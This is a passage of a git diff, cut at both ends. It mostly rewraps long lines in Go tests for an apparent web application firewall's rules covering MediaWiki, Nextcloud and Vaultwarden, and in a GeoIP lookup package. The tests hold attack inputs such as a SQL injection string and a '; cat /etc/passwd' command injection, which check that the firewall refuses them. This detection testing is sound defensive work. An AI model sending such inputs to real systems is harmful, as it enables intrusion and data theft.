+ changeAction, + formData, + change, + }, // A German wiki's names for the same pages. - {"/index.php/Spezial:Benutzerkonto_anlegen?" + create, formData, retype}, + { + "/index.php/Spezial:Benutzerkonto_anlegen?" + create, + formData, + retype, + }, { "/index.php?title=Spezial:Anmelden&returnto=Hauptseite&" + loginContinue, formData, retype, @@ -319,7 +345,12 @@ func TestMediaWikiPasswordFieldsStayCheckedOffTheirPages(t *testing.T) { body := formBody(sent.name, "' OR '1'='1") if got, _ := inspectBody(t, crs, r, body); got.Score < mediawikiThreshold { - t.Errorf("POST %s %s let through: %+v", sent.target, sent.name, got) + t.Errorf( + "POST %s %s let through: %+v", + sent.target, + sent.name, + got, + ) } } } @@ -350,7 +381,9 @@ func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) { crs := atDefaults(t) - targets := append([]string{"/load.php?modules="}, mediawikiQueryFields...) + targets := append( + []string{"/load.php?modules="}, + mediawikiQueryFields...) for _, target := range targets { got := inspect(t, crs, get(target+mediawikiCommandAttack)) @@ -367,7 +400,12 @@ func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) { got, _ := inspectBody(t, crs, r, sent.field+mediawikiCommandAttack) if got.Score < mediawikiThreshold { - t.Errorf("POST %s %s let through: %+v", sent.target, sent.field, got) + t.Errorf( + "POST %s %s let through: %+v", + sent.target, + sent.field, + got, + ) } } @@ -382,7 +420,11 @@ func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) { // wpTitles skips 932125, 932230, 932235, 932260 and 932380 only when it // holds no ";", "|", "&", backtick or "{", and only when the body sends // it once. - r = request{http.MethodPost, mediawikiWatchlist.target, []string{formData}} + r = request{ + http.MethodPost, + mediawikiWatchlist.target, + []string{formData}, + } for _, attack := range []string{ mediawikiCommandAttack, @@ -428,7 +470,13 @@ func TestMediaWikiHardValuesPassInTheExcludedFields(t *testing.T) { got, _ := inspectBody(t, crs, r, sent.field+value) if got.Score >= mediawikiThreshold { - t.Errorf("POST %s %s%s refused: %+v", sent.target, sent.field, value, got) + t.Errorf( + "POST %s %s%s refused: %+v", + sent.target, + sent.field, + value, + got, + ) } } @@ -444,7 +492,11 @@ func TestMediaWikiHardValuesPassInTheExcludedFields(t *testing.T) { } // A watchlist holds the title on its second line, as recorded. - r := request{http.MethodPost, mediawikiWatchlist.target, []string{formData}} + r := request{ + http.MethodPost, + mediawikiWatchlist.target, + []string{formData}, + } body := mediawikiWatchlist.field + "Lighthouse%20notes%0D%0A" + value + "%20notes" if got, _ := inspectBody(t, crs, r, body); got.Score >= mediawikiThreshold { @@ -517,7 +569,11 @@ func TestMediaWikiBodyFieldsStayCheckedInTheQuery(t *testing.T) { {"/index.php?title=Special:EditWatchlist/raw", "wpTitles=python3"}, {mediawikiAPI + "?action=edit", "text=python3"}, } { - r := request{http.MethodPost, sent.target + "&" + sent.field, []string{formData}} + r := request{ + http.MethodPost, + sent.target + "&" + sent.field, + []string{formData}, + } got, _ := inspectBody(t, crs, r, sent.field) if got.Score < mediawikiThreshold { diff --git a/internal/coreruleset/nextcloud_test.go b/internal/coreruleset/nextcloud_test.go index 0ab7742..9f60043 100644 --- a/internal/coreruleset/nextcloud_test.go +++ b/internal/coreruleset/nextcloud_test.go @@ -107,7 +107,12 @@ var nextcloudBodies = []nextcloudBody{ http.MethodPut, nextcloudUsers + "/admin", jsonBody, `{"key":"headline","value":"%s"}`, }, - {http.MethodPost, "/ocs/v2.php/cloud/groups", jsonBody, `{"groupid":"%s"}`}, + { + http.MethodPost, + "/ocs/v2.php/cloud/groups", + jsonBody, + `{"groupid":"%s"}`, + }, {http.MethodPost, nextcloudShares, jsonBody, `{"path":"/%s"}`}, {http.MethodPost, nextcloudShares, jsonBody, `{"shareWith":"%s"}`}, {http.MethodPut, nextcloudShares + "/1", jsonBody, `{"label":"%s"}`}, @@ -115,17 +120,42 @@ var nextcloudBodies = []nextcloudBody{ http.MethodPost, "/apps/theming/ajax/updateStylesheet", jsonBody, `{"setting":"slogan","value":"%s"}`, }, - {http.MethodPost, nextcloudSave, jsonBody, `{"filePath":"/%s/Readme.md"}`}, - {http.MethodPost, "/remote.php/dav/systemtags/", jsonBody, `{"name":"%s"}`}, + { + http.MethodPost, + nextcloudSave, + jsonBody, + `{"filePath":"/%s/Readme.md"}`, + }, + { + http.MethodPost, + "/remote.php/dav/systemtags/", + jsonBody, + `{"name":"%s"}`, + }, { nextcloudSearch, "/remote.php/dav/", xmlBody, `` + `%%s%` + ``, }, - {nextcloudMkcol, nextcloudCalendars + "work", xmlBody, nextcloudNewCollection}, - {nextcloudMkcol, nextcloudAddressBooks + "team", xmlBody, nextcloudNewCollection}, - {nextcloudMkcalendar, nextcloudCalendars + "work/", xmlBody, nextcloudNewCalendar}, + { + nextcloudMkcol, + nextcloudCalendars + "work", + xmlBody, + nextcloudNewCollection, + }, + { + nextcloudMkcol, + nextcloudAddressBooks + "team", + xmlBody, + nextcloudNewCollection, + }, + { + nextcloudMkcalendar, + nextcloudCalendars + "work/", + xmlBody, + nextcloudNewCalendar, + }, } // The WebDAV methods that make a calendar or an address book. @@ -187,7 +217,12 @@ var nextcloudDocument = nextcloudBody{ //nolint:gochecknoglobals // a constant cannot be a list var nextcloudTexts = []nextcloudBody{ nextcloudDocument, - {http.MethodPost, "/remote.php/dav/comments/files/1", jsonBody, `{"message":"%s"}`}, + { + http.MethodPost, + "/remote.php/dav/comments/files/1", + jsonBody, + `{"message":"%s"}`, + }, { nextcloudPropPatch, "/remote.php/dav/comments/files/1/2", xmlBody, `` + @@ -195,7 +230,12 @@ var nextcloudTexts = []nextcloudBody{ ``, }, {http.MethodPut, nextcloudShares + "/1", jsonBody, `{"note":"%s"}`}, - {http.MethodPost, nextcloudShares, jsonBody, `{"path":"/Notes","note":"%s"}`}, + { + http.MethodPost, + nextcloudShares, + jsonBody, + `{"path":"/Notes","note":"%s"}`, + }, { http.MethodPut, "/ocs/v1.php/apps/files_sharing/api/v1/shares/1", formData, "note=%s", @@ -223,7 +263,10 @@ const nextcloudCodeBlock = "```bash\n#!/bin/bash\nset -e\n" + // nextcloudBodyScore returns the request that sends value, which is not // escaped, in sent's body, and the score crs gives it. func nextcloudBodyScore( - t *testing.T, crs *coreruleset.CoreRuleSet, sent nextcloudBody, value string, + t *testing.T, + crs *coreruleset.CoreRuleSet, + sent nextcloudBody, + value string, ) (string, int) { t.Helper() @@ -258,7 +301,11 @@ func nextcloudFieldScores(t *testing.T, value string) map[string]int { scores := map[string]int{} for _, target := range nextcloudQueryFields { - scores["GET "+target+value] = inspect(t, crs, get(target+value)).Score + scores["GET "+target+value] = inspect( + t, + crs, + get(target+value), + ).Score } for _, sent := range nextcloudFormFields { @@ -350,11 +397,23 @@ func TestNextcloudPasswordFieldsPass(t *testing.T) { {"/apps/user_ldap/renewpassword", formData, change}, {"/index.php/apps/user_ldap/renewpassword", formData, change}, {"/apps/encryption/ajax/updatePrivateKeyPassword", formData, change}, - {"/index.php/apps/encryption/ajax/updatePrivateKeyPassword", formData, change}, + { + "/index.php/apps/encryption/ajax/updatePrivateKeyPassword", + formData, + change, + }, {"/apps/encryption/ajax/changeRecoveryPassword", formData, recovery}, - {"/index.php/apps/encryption/ajax/changeRecoveryPassword", formData, recovery}, + { + "/index.php/apps/encryption/ajax/changeRecoveryPassword", + formData, + recovery, + }, {"/apps/encryption/ajax/adminRecovery", formData, adminRecovery}, - {"/index.php/apps/encryption/ajax/adminRecovery", formData, adminRecovery}, + { + "/index.php/apps/encryption/ajax/adminRecovery", + formData, + adminRecovery, + }, {"/login/confirm", jsonBody, password}, {"/index.php/login/confirm", formData, password}, {"/lostpassword/set/AbCdEf/alice", jsonBody, password}, @@ -409,7 +468,12 @@ func TestNextcloudUserPasswordInValuePasses(t *testing.T) { {jsonRequest, jsonPassword("; cat /etc/passwd")}, } { if got, _ := inspectBody(t, crs, sent.r, sent.body); got.Score >= threshold { - t.Errorf("%s %.40s refused: %+v", sent.r.headers[0], sent.body, got) + t.Errorf( + "%s %.40s refused: %+v", + sent.r.headers[0], + sent.body, + got, + ) } } @@ -424,7 +488,12 @@ func TestNextcloudUserPasswordInValuePasses(t *testing.T) { {jsonRequest, `{"key":"email","value":"' OR '1'='1"}`}, } { if got, _ := inspectBody(t, crs, sent.r, sent.body); got.Score < threshold { - t.Errorf("%s %.40s let through: %+v", sent.r.headers[0], sent.body, got) + t.Errorf( + "%s %.40s let through: %+v", + sent.r.headers[0], + sent.body, + got, + ) } } @@ -452,7 +521,12 @@ func TestNextcloudSentencesPassInTheTexts(t *testing.T) { document := "Backup steps:\n\n" + nextcloudCodeBlock - request, score := nextcloudBodyScore(t, readingBodies(t), nextcloudDocument, document) + request, score := nextcloudBodyScore( + t, + readingBodies(t), + nextcloudDocument, + document, + ) if score >= nextcloudThreshold { t.Errorf("%s refused: %d", request, score) } @@ -499,7 +573,10 @@ func TestNextcloudAccountCookieSkipsTheFourRules(t *testing.T) { crs := atDefaults(t) cookie := func(value string) request { - return get("/apps/files/", "Cookie: nc_sameSiteCookielax=true; nc_username="+value) + return get( + "/apps/files/", + "Cookie: nc_sameSiteCookielax=true; nc_username="+value, + ) } for _, value := range hardValues { @@ -556,20 +633,40 @@ func TestNextcloudWebDAVMethodsAreAllowedOnlyThere(t *testing.T) { // MKCALENDAR only where the calendars are. for _, target := range []string{nextcloudCalendars, nextcloudCalendars + "work/"} { - wantResult(t, crs, request{nextcloudMkcalendar, target, nil}, matched()) + wantResult( + t, + crs, + request{nextcloudMkcalendar, target, nil}, + matched(), + ) } for _, target := range []string{ nextcloudFiles, nextcloudAddressBooks, "/remote.php/dav/", "/x/remote.php/dav/calendars/", } { - wantResult(t, crs, request{nextcloudMkcalendar, target, nil}, matched(911100)) + wantResult( + t, + crs, + request{nextcloudMkcalendar, target, nil}, + matched(911100), + ) } // PROPFIND, and no other WebDAV method, where a client asks for them. for _, target := range []string{"/.well-known/caldav", "/.well-known/carddav"} { - wantResult(t, crs, request{nextcloudPropFind, target, nil}, matched()) - wantResult(t, crs, request{nextcloudMkcol, target, nil}, matched(911100)) + wantResult( + t, + crs, + request{nextcloudPropFind, target, nil}, + matched(), + ) + wantResult( + t, + crs, + request{nextcloudMkcol, target, nil}, + matched(911100), + ) } other := request{nextcloudPropFind, "/.well-known/other", nil} @@ -603,7 +700,12 @@ func TestNextcloudDescriptionsPassAndAttacksAreRefused(t *testing.T) { } { sent := described.sent - request, score := nextcloudBodyScore(t, crs, sent, described.description) + request, score := nextcloudBodyScore( + t, + crs, + sent, + described.description, + ) if score >= nextcloudThreshold { t.Errorf("%s refused: %d", request, score) } @@ -625,7 +727,12 @@ func TestNextcloudDescriptionsPassAndAttacksAreRefused(t *testing.T) { // An MKCOL on the calendars' paths skips only the rules for names. sent.method, sent.target = nextcloudMkcol, nextcloudCalendars+"work/" - request, score = nextcloudBodyScore(t, crs, sent, described.description) + request, score = nextcloudBodyScore( + t, + crs, + sent, + described.description, + ) if score < nextcloudThreshold { t.Errorf("%s let through: %d", request, score) } @@ -661,7 +768,10 @@ func TestNextcloudChangedEventsAndContactsPass(t *testing.T) { []string{"Content-Type: text/plain; charset=UTF-8; charset=UTF-8"}, }, } { - if got := inspect(t, crs, refused); !slices.Contains(got.RuleIDs, 920530) { + if got := inspect(t, crs, refused); !slices.Contains( + got.RuleIDs, + 920530, + ) { t.Errorf("%s %s %q let through: %+v", refused.method, refused.target, refused.headers, got) } @@ -702,7 +812,12 @@ func TestNextcloudUploadsAreNotReadAsFields(t *testing.T) { } { got, _ := inspectBody(t, crs, refused, upload.body) if got.Score < nextcloudThreshold { - t.Errorf("%s %s let through: %+v", refused.method, refused.target, got) + t.Errorf( + "%s %s let through: %+v", + refused.method, + refused.target, + got, + ) } } } @@ -713,7 +828,13 @@ func TestNextcloudPathTraversalIsRefusedInWebDAVPaths(t *testing.T) { crs := atDefaults(t) - methods := []string{http.MethodGet, http.MethodPut, nextcloudPropFind, "MOVE", "LOCK"} + methods := []string{ + http.MethodGet, + http.MethodPut, + nextcloudPropFind, + "MOVE", + "LOCK", + } for _, method := range methods { for _, target := range []string{ @@ -801,7 +922,13 @@ func TestNextcloudExclusionsAreNarrow(t *testing.T) { got, _ := inspectBody(t, crs, r, sent.body) if got.Score < nextcloudThreshold { - t.Errorf("%s %s %s let through: %+v", sent.method, sent.target, sent.body, got) + t.Errorf( + "%s %s %s let through: %+v", + sent.method, + sent.target, + sent.body, + got, + ) } } } diff --git a/internal/coreruleset/recorded_test.go b/internal/coreruleset/recorded_test.go index 97ea0e7..7d236f3 100644 --- a/internal/coreruleset/recorded_test.go +++ b/internal/coreruleset/recorded_test.go @@ -125,11 +125,14 @@ func wantRecordedRequestsPass(t *testing.T, name string) { t.Errorf("%s %s refused: %+v", r.method, r.target, got) } - typed := slices.ContainsFunc(recorded.Headers, func(header string) bool { - name, _, _ := strings.Cut(header, ":") + typed := slices.ContainsFunc( + recorded.Headers, + func(header string) bool { + name, _, _ := strings.Cut(header, ":") - return strings.EqualFold(name, "Content-Type") - }) + return strings.EqualFold(name, "Content-Type") + }, + ) if recorded.Body == "" && !typed { return } diff --git a/internal/coreruleset/vaultwarden_test.go b/internal/coreruleset/vaultwarden_test.go index 12069e9..99f94a3 100644 --- a/internal/coreruleset/vaultwarden_test.go +++ b/internal/coreruleset/vaultwarden_test.go @@ -68,18 +68,53 @@ var vaultwardenNameFields = []vaultwardenField{ http.MethodPost, vaultwardenFinishSignUp, jsonBody, `{"email":"alice@example.com","masterPasswordHint":"VALUE"}`, }, - {http.MethodPut, vaultwardenProfile, jsonBody, `{"name":"VALUE","culture":"en-US"}`}, - {http.MethodPost, vaultwardenPassword, jsonBody, `{"masterPasswordHint":"VALUE"}`}, + { + http.MethodPut, + vaultwardenProfile, + jsonBody, + `{"name":"VALUE","culture":"en-US"}`, + }, + { + http.MethodPost, + vaultwardenPassword, + jsonBody, + `{"masterPasswordHint":"VALUE"}`, + }, { http.MethodPost, "/api/organizations", jsonBody, `{"name":"VALUE","billingEmail":"billing@example.com"}`, }, {http.MethodPut, vaultwardenOrganization, jsonBody, `{"name":"VALUE"}`}, - {http.MethodPost, vaultwardenOrganization + "/groups", jsonBody, `{"name":"VALUE"}`}, - {http.MethodPost, vaultwardenSettings, jsonBody, `{"invitation_org_name":"VALUE"}`}, - {http.MethodPost, vaultwardenSettings, jsonBody, `{"smtp_from_name":"VALUE"}`}, - {http.MethodPost, vaultwardenSecurityKey, jsonBody, `{"id":1,"name":"VALUE"}`}, - {http.MethodPut, vaultwardenSecurityKey, jsonBody, `{"id":1,"name":"VALUE"}`}, + { + http.MethodPost, + vaultwardenOrganization + "/groups", + jsonBody, + `{"name":"VALUE"}`, + }, + { + http.MethodPost, + vaultwardenSettings, + jsonBody, + `{"invitation_org_name":"VALUE"}`, + }, + { + http.MethodPost, + vaultwardenSettings, + jsonBody, + `{"smtp_from_name":"VALUE"}`, + }, + { + http.MethodPost, + vaultwardenSecurityKey, + jsonBody, + `{"id":1,"name":"VALUE"}`, + }, + { + http.MethodPut, + vaultwardenSecurityKey, + jsonBody, + `{"id":1,"name":"VALUE"}`, + }, } // vaultwardenAddressFields hold every field of a body that skips 930120, @@ -91,8 +126,18 @@ var vaultwardenAddressFields = []vaultwardenField{ http.MethodPost, "/identity/connect/token", formData, "grant_type=password&username=VALUE&password=example&scope=api+offline_access", }, - {http.MethodPost, "/identity/accounts/prelogin/password", jsonBody, vaultwardenEmail}, - {http.MethodPost, vaultwardenSignUp, jsonBody, `{"email":"VALUE","name":"Alice"}`}, + { + http.MethodPost, + "/identity/accounts/prelogin/password", + jsonBody, + vaultwardenEmail, + }, + { + http.MethodPost, + vaultwardenSignUp, + jsonBody, + `{"email":"VALUE","name":"Alice"}`, + }, {http.MethodPost, vaultwardenFinishSignUp, jsonBody, vaultwardenEmail}, { http.MethodPost, vaultwardenFinishSignUp, jsonBody, @@ -106,34 +151,84 @@ var vaultwardenAddressFields = []vaultwardenField{ http.MethodPost, vaultwardenPassword, jsonBody, `{"authenticationData":{"salt":"VALUE"}}`, }, - {http.MethodPost, vaultwardenPassword, jsonBody, `{"unlockData":{"salt":"VALUE"}}`}, + { + http.MethodPost, + vaultwardenPassword, + jsonBody, + `{"unlockData":{"salt":"VALUE"}}`, + }, { http.MethodPost, "/api/accounts/key-management/rotate-user-account-keys", jsonBody, `{"accountUnlockData":{"masterPasswordUnlockData":{"email":"VALUE"}}}`, }, - {http.MethodPost, "/api/accounts/password-hint", jsonBody, vaultwardenEmail}, - {http.MethodPost, "/api/accounts/email-token", jsonBody, `{"newEmail":"VALUE"}`}, + { + http.MethodPost, + "/api/accounts/password-hint", + jsonBody, + vaultwardenEmail, + }, + { + http.MethodPost, + "/api/accounts/email-token", + jsonBody, + `{"newEmail":"VALUE"}`, + }, { http.MethodPost, "/api/emergency-access/invite", jsonBody, `{"email":"VALUE","type":0}`, }, - {http.MethodPut, vaultwardenOrganization, jsonBody, `{"billingEmail":"VALUE"}`}, + { + http.MethodPut, + vaultwardenOrganization, + jsonBody, + `{"billingEmail":"VALUE"}`, + }, { http.MethodPost, vaultwardenOrganization + "/users/invite", jsonBody, `{"emails":["alice@example.com","VALUE"],"type":2}`, }, - {http.MethodPost, vaultwardenSettings, jsonBody, `{"smtp_from":"VALUE"}`}, - {http.MethodPost, vaultwardenSettings, jsonBody, `{"smtp_username":"VALUE"}`}, - {http.MethodPost, vaultwardenSettings, jsonBody, `{"org_creation_users":"VALUE"}`}, + { + http.MethodPost, + vaultwardenSettings, + jsonBody, + `{"smtp_from":"VALUE"}`, + }, + { + http.MethodPost, + vaultwardenSettings, + jsonBody, + `{"smtp_username":"VALUE"}`, + }, + { + http.MethodPost, + vaultwardenSettings, + jsonBody, + `{"org_creation_users":"VALUE"}`, + }, {http.MethodPost, "/admin/invite", jsonBody, vaultwardenEmail}, {http.MethodPost, "/admin/test/smtp", jsonBody, vaultwardenEmail}, - {http.MethodPost, "/api/two-factor/send-email-login", jsonBody, vaultwardenEmail}, - {http.MethodPost, "/api/two-factor/send-email", jsonBody, vaultwardenEmail}, + { + http.MethodPost, + "/api/two-factor/send-email-login", + jsonBody, + vaultwardenEmail, + }, + { + http.MethodPost, + "/api/two-factor/send-email", + jsonBody, + vaultwardenEmail, + }, { http.MethodPut, "/api/two-factor/email", jsonBody, `{"email":"VALUE","token":"123456"}`, }, - {http.MethodPost, "/api/auth-requests", jsonBody, `{"email":"VALUE","type":0}`}, + { + http.MethodPost, + "/api/auth-requests", + jsonBody, + `{"email":"VALUE","type":0}`, + }, } // vaultwardenBreachReport is the data breach report, which sends an address @@ -256,7 +351,12 @@ func TestVaultwardenExclusionsAreNarrow(t *testing.T) { got, _ := inspectBody(t, crs, r, refused.body) if got.Score < vaultwardenThreshold { - t.Errorf("POST %s %s let through: %+v", refused.target, refused.body, got) + t.Errorf( + "POST %s %s let through: %+v", + refused.target, + refused.body, + got, + ) } } @@ -292,7 +392,8 @@ func TestVaultwardenAdminTokenPasses(t *testing.T) { func masterPasswordHashes(count int) []string { const size, seed = 32, 288 - random := rand.New(rand.NewPCG(seed, seed)) //nolint:gosec // a fixed sample + //nolint:gosec // a fixed sample + random := rand.New(rand.NewPCG(seed, seed)) hashes := make([]string, count) @@ -340,8 +441,15 @@ func TestVaultwardenMasterPasswordHashesPass(t *testing.T) { t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body)) } - if got, _ := inspectBody(t, crs, sent.r, body); len(got.RuleIDs) != 0 { - t.Errorf("POST %s %v set off rules: %+v", sent.r.target, sent.names, got) + if got, _ := inspectBody(t, crs, sent.r, body); len( + got.RuleIDs, + ) != 0 { + t.Errorf( + "POST %s %v set off rules: %+v", + sent.r.target, + sent.names, + got, + ) } } } @@ -350,7 +458,9 @@ func TestVaultwardenEncryptedFileNamesPassOnlyOnUploads(t *testing.T) { t.Parallel() crs := readingBodies(t) - encrypted := vaultwardenUpload("2.4Hw+ulOz7BLrP+NSaLKhGw==|9nlpuuYHog6rpJ=|XLsf=") + encrypted := vaultwardenUpload( + "2.4Hw+ulOz7BLrP+NSaLKhGw==|9nlpuuYHog6rpJ=|XLsf=", + ) for _, target := range []string{ vaultwardenCipher + "/attachment/ec4c8ed74f6d3c56443a", diff --git a/internal/lookup/file.go b/internal/lookup/file.go index f5dd4e3..b9d954f 100644 --- a/internal/lookup/file.go +++ b/internal/lookup/file.go @@ -236,7 +236,11 @@ func read(path string) (*maxminddb.Reader, error) { reader, err := maxminddb.OpenBytes(data) if err != nil { - return nil, fmt.Errorf("SWW_LOOKUP_DB_PATH %s is not a .mmdb file: %w", path, err) + return nil, fmt.Errorf( + "SWW_LOOKUP_DB_PATH %s is not a .mmdb file: %w", + path, + err, + ) } return reader, nil diff --git a/internal/lookup/file_internal_test.go b/internal/lookup/file_internal_test.go index 02f7b0d..1db9c8f 100644 --- a/internal/lookup/file_internal_test.go +++ b/internal/lookup/file_internal_test.go @@ -26,11 +26,21 @@ const ( testClient = "203.0.113.9/32" ) -func TestFilePlacesClientsAndCountsAnAddressMissingFromItAsUnknown(t *testing.T) { +func TestFilePlacesClientsAndCountsAnAddressMissingFromItAsUnknown( + t *testing.T, +) { t.Parallel() - germany := lookuptest.Network{ASN: "AS64496", ASName: "Example Net", Country: "DE"} - northKorea := lookuptest.Network{ASN: "AS64511", ASName: "Other Net", Country: "KP"} + germany := lookuptest.Network{ + ASN: "AS64496", + ASName: "Example Net", + Country: "DE", + } + northKorea := lookuptest.Network{ + ASN: "AS64511", + ASName: "Other Net", + Country: "KP", + } path := filepath.Join(t.TempDir(), "ipinfo_lite.mmdb") lookuptest.Write(t, path, map[string]lookuptest.Network{ testNetblock: germany, @@ -62,7 +72,13 @@ func TestFilePlacesClientsAndCountsAnAddressMissingFromItAsUnknown(t *testing.T) Client: prefix, ASN: want.ASN, ASName: want.ASName, Country: want.Country, Answered: now, }) { - t.Errorf("%s has the answer %+v, want %+v, answered %s", client, got, want, now) + t.Errorf( + "%s has the answer %+v, want %+v, answered %s", + client, + got, + want, + now, + ) } } } @@ -122,7 +138,9 @@ func TestFileThatCannotBeReadIsAnError(t *testing.T) { // reading due by then is done. The test sends the changes itself, as the // watch of a directory cannot run in a bubble. -func TestReplacementCopiedOverTheFileInTwoPartsIsReadOnlyWhole(t *testing.T) { +func TestReplacementCopiedOverTheFileInTwoPartsIsReadOnlyWhole( + t *testing.T, +) { t.Parallel() synctest.Test(t, func(t *testing.T) { @@ -137,7 +155,8 @@ func TestReplacementCopiedOverTheFileInTwoPartsIsReadOnlyWhole(t *testing.T) { other := filepath.Join(dir, "replacement.mmdb") writeDatabase(t, other, "KP") - replacement, err := os.ReadFile(other) //nolint:gosec // a file the test wrote + //nolint:gosec // a file the test wrote + replacement, err := os.ReadFile(other) if err != nil { t.Fatalf("read %s: %v", other, err) } @@ -176,15 +195,20 @@ func TestReplacementCopiedOverTheFileInTwoPartsIsReadOnlyWhole(t *testing.T) { wantCountry(t, f, "KP") if !f.LastRead().Equal(time.Now()) || f.ReadFailures() != 0 { - t.Errorf("read at %s, with %d failures; want read now, with none", - f.LastRead(), f.ReadFailures()) + t.Errorf( + "read at %s, with %d failures; want read now, with none", + f.LastRead(), + f.ReadFailures(), + ) } wantAlerts(t, queue) }) } -func TestReplacementThatCannotBeReadLeavesTheFileInUseWithOneAlert(t *testing.T) { +func TestReplacementThatCannotBeReadLeavesTheFileInUseWithOneAlert( + t *testing.T, +) { t.Parallel() synctest.Test(t, func(t *testing.T) { @@ -206,8 +230,12 @@ func TestReplacementThatCannotBeReadLeavesTheFileInUseWithOneAlert(t *testing.T) wantCountry(t, f, "DE") if !f.LastRead().Equal(read) || f.ReadFailures() != 1 { - t.Errorf("read at %s, with %d failures; want read at %s, with one", - f.LastRead(), f.ReadFailures(), read) + t.Errorf( + "read at %s, with %d failures; want read at %s, with one", + f.LastRead(), + f.ReadFailures(), + read, + ) } wantAlerts(t, queue, alerts.Alert{ @@ -289,7 +317,11 @@ func writeDatabase(t *testing.T, path, country string) { t.Helper() lookuptest.Write(t, path, map[string]lookuptest.Network{ - testNetblock: {ASN: "AS64496", ASName: "Example Net", Country: country}, + testNetblock: { + ASN: "AS64496", + ASName: "Example Net", + Country: country, + }, }) } @@ -349,7 +381,8 @@ func wantAlerts(t *testing.T, queue *alerts.Queue, want ...alerts.Alert) { t.Helper() waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook] - if len(waiting) != len(want) || (len(want) > 0 && !reflect.DeepEqual(waiting, want)) { + if len(waiting) != len(want) || + (len(want) > 0 && !reflect.DeepEqual(waiting, want)) { t.Errorf("alerts waiting %+v, want %+v", waiting, want) } diff --git a/internal/lookup/lookup.go b/internal/lookup/lookup.go index 621525a..e147a2c 100644 --- a/internal/lookup/lookup.go +++ b/internal/lookup/lookup.go @@ -211,7 +211,10 @@ func (g *GeoJS) LookUp(ctx context.Context, client netip.Prefix) Answer { // LookUpWithoutWaiting is LookUp for a request that does not need the answer, // whatever Wait says: it returns the zero Answer at once when none is kept. -func (g *GeoJS) LookUpWithoutWaiting(ctx context.Context, client netip.Prefix) Answer { +func (g *GeoJS) LookUpWithoutWaiting( + ctx context.Context, + client netip.Prefix, +) Answer { answer, _ := g.answerOrWait(ctx, client, false) return answer @@ -429,14 +432,21 @@ func (g *GeoJS) keep( } if err == nil && leftOut > 0 { - err = fmt.Errorf("%w %d of %d addresses", errLeftOut, leftOut, len(clients)) + err = fmt.Errorf( + "%w %d of %d addresses", + errLeftOut, + leftOut, + len(clients), + ) } if err != nil { g.metrics.GeoJSFailures.Inc() - g.retryDelay = min(max(retryDelayFactor*g.retryDelay, firstRetryDelay), - maxRetryDelay) + g.retryDelay = min( + max(retryDelayFactor*g.retryDelay, firstRetryDelay), + maxRetryDelay, + ) g.retryAt = now.Add(g.retryDelay) g.asking = false @@ -482,7 +492,12 @@ func (g *GeoJS) request( ctx, cancel := context.WithTimeout(ctx, g.timeout) defer cancel() - req, err := http.NewRequestWithContext(ctx, http.MethodGet, g.url, http.NoBody) + req, err := http.NewRequestWithContext( + ctx, + http.MethodGet, + g.url, + http.NoBody, + ) if err != nil { return nil, fmt.Errorf("make the request to GeoJS: %w", err) } @@ -514,7 +529,8 @@ func (g *GeoJS) request( CountryCode string `json:"country_code"` } - err = json.NewDecoder(io.LimitReader(res.Body, maxResponseBytes)).Decode(&answers) + err = json.NewDecoder(io.LimitReader(res.Body, maxResponseBytes)). + Decode(&answers) if err != nil { return nil, fmt.Errorf("read GeoJS's answer: %w", err) } diff --git a/internal/lookup/lookup_test.go b/internal/lookup/lookup_test.go index e4fd359..4f67d02 100644 --- a/internal/lookup/lookup_test.go +++ b/internal/lookup/lookup_test.go @@ -85,8 +85,13 @@ func TestLookUpWithoutWaitingAsksGeoJSAndGoesOnAtOnce(t *testing.T) { began := time.Now() answer := g.LookUpWithoutWaiting(t.Context(), client) - if waited := time.Since(began); waited != 0 || answer != (lookup.Answer{}) { - t.Errorf("got %+v after %s, want no answer at once", answer, waited) + if waited := time.Since(began); waited != 0 || + answer != (lookup.Answer{}) { + t.Errorf( + "got %+v after %s, want no answer at once", + answer, + waited, + ) } waitForRequests(t, geojs, 1) @@ -100,7 +105,11 @@ func TestLookUpWithoutWaitingAsksGeoJSAndGoesOnAtOnce(t *testing.T) { waitForCountry(t, g, clock, client, germany) if got := g.LookUpWithoutWaiting(t.Context(), client).Country; got != germany { - t.Errorf("the kept answer gives the country %q, want %q", got, germany) + t.Errorf( + "the kept answer gives the country %q, want %q", + got, + germany, + ) } }) } @@ -120,7 +129,9 @@ func TestNewClientWaitsAtMostOneSecondThenCountsAsNotFound(t *testing.T) { var earlier sync.WaitGroup - earlier.Go(func() { g.LookUp(t.Context(), netip.MustParsePrefix("203.0.113.1/32")) }) + earlier.Go( + func() { g.LookUp(t.Context(), netip.MustParsePrefix("203.0.113.1/32")) }, + ) defer earlier.Wait() waitForRequests(t, geojs, 1) @@ -152,7 +163,9 @@ func TestNewClientWaitsAtMostOneSecondThenCountsAsNotFound(t *testing.T) { }) } -func TestRequestWaitsAsLongAsTheTimeoutSaysAndGeoJSIsAbandonedAfterIt(t *testing.T) { +func TestRequestWaitsAsLongAsTheTimeoutSaysAndGeoJSIsAbandonedAfterIt( + t *testing.T, +) { t.Parallel() synctest.Test(t, func(t *testing.T) { @@ -197,7 +210,11 @@ func TestRequestWaitsAsLongAsTheTimeoutSaysAndGeoJSIsAbandonedAfterIt(t *testing synctest.Wait() if waited != longerTimeout { - t.Errorf("waited %s for the answer, want %s", waited, longerTimeout) + t.Errorf( + "waited %s for the answer, want %s", + waited, + longerTimeout, + ) } wantFailures(t, m, 1) @@ -340,7 +357,11 @@ func TestWithoutWaitTheRequestGoesOnAtOnceAndTheAnswerIsGivenWhenItComes( got := g.LookUp(t.Context(), client) if took := time.Since(began); took != 0 || got != (lookup.Answer{}) { - t.Errorf("waited %s for %+v, want no wait and no answer", took, got) + t.Errorf( + "waited %s for %+v, want no wait and no answer", + took, + got, + ) } waitForRequests(t, geojs, 1) @@ -391,7 +412,10 @@ func TestFailureIsLoggedWithoutTheAddressesAskedAbout(t *testing.T) { logged := log.String() if !strings.Contains(logged, "asking GeoJS failed") || strings.Contains(logged, "203.0.113.9") { - t.Errorf("logged %q, want the failure without the address asked about", logged) + t.Errorf( + "logged %q, want the failure without the address asked about", + logged, + ) } }) } @@ -430,7 +454,10 @@ func TestFailureRaisesASourceFailureAlertOncePerCooldown(t *testing.T) { } if queue.Suppressed() != 1 { - t.Errorf("%d alerts held back, want the repeat", queue.Suppressed()) + t.Errorf( + "%d alerts held back, want the repeat", + queue.Suppressed(), + ) } }) } @@ -454,11 +481,21 @@ func 